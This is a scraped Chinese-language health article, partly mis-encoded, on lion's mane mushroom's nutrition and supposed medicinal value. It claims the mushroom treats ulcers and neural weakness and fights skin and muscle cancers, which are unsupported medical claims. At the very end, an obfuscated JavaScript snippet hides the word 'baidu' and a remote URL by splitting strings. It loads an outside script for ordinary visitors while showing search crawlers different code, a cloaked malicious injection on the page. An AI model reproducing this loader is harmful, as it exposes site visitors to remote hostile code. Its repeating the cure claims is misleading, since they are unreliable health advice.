當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

猴頭菇的藥用價(jià)值是什么

2017-07-11 17:15:43  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:其實(shí)猴頭菇算是一種非常名貴的食材,這是我們經(jīng)??梢猿缘降木?,不過猴頭菇不光是可以當(dāng)做食材的,還被中醫(yī)們當(dāng)中一種藥品,是非常好的中

其實(shí)猴頭菇算是一種非常名貴的食材,這是我們經(jīng)常可以吃到的菌類,不過猴頭菇不光是可以當(dāng)做食材的,還被中醫(yī)們當(dāng)中一種藥品,是非常好的中藥材,猴頭菇的家常做法也是比較多的,不光是可以煲湯來喝,還可以燉雞來吃的,因?yàn)楸旧砗镱^菇當(dāng)中含有很豐富的營養(yǎng),所以如果正確地去吃這種食物的話是可以治療胃部疾病的,而且還可以促進(jìn)我們胃部的消化。

在菌類蔬菜里面,是比較少見的一種,也是一種名貴的食用菌,被列入八大山珍之一。猴頭菇具有很好的使用功效,具有營養(yǎng)與藥用的結(jié)合。

猴頭是深山老林中的一種大型肉質(zhì)菌,喜歡生長在闊葉樹干斷面或樹洞中。幼小時(shí)呈白色,成熟后則變成毛茸茸的黃棕色,從形色上看很像毛猴的腦袋,故而得名。猴頭菇為齒菌科植物猴頭的子實(shí)體。我國華北、東北、中南和四川、云南、甘肅、浙江等地均有分布,夏秋季采收。人工培育的子實(shí)體待菌齡到3個(gè)月以上,子實(shí)體長成時(shí)取下,曬干或鮮用。

猴頭菇有很高的營養(yǎng)價(jià)值,100克的猴頭菇中蛋白質(zhì)的含量高達(dá)26.3克,比香菇還多出1倍。除此之外它還含有17種的氨基酸,其中有8種是人體需要的。除此之外,100克的猴頭菇中只有4.2克的脂肪,所以它是一種高蛋白、低脂肪的食品。而且它還含有豐富的維生素和各類無機(jī)鹽。

猴頭菇有增進(jìn)食欲,增強(qiáng)胃粘膜屏障機(jī)能,提高淋巴細(xì)胞轉(zhuǎn)化率,提升白細(xì)胞等作用。故可以使人體提高對疾病的免疫能力。

猴頭還是良好的滋補(bǔ)食品,對神經(jīng)衰弱、消化道潰瘍有良好療效。在抗癌藥物篩選中,發(fā)現(xiàn)其對皮膚、肌肉癌腫有明顯抗癌功效。

因此經(jīng)常使用猴頭菇,對于身體健康的人來說,可以提高身體的免疫力。對于有病的人來說,它可以用于治療身體的疾病。

因?yàn)楝F(xiàn)在很多人們都知道要去滋補(bǔ)的,所以猴頭菇是非常好的一種養(yǎng)生食材,不光是可以保護(hù)我們的胃黏膜,而且還可以讓我們的食欲變得更加的好,是有促進(jìn)食欲的作用,這樣的話也是讓人們的營養(yǎng)物質(zhì)攝入可以很均衡,就算對于身體比較健康的人們,也是有一定的提高免疫能力的作用。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}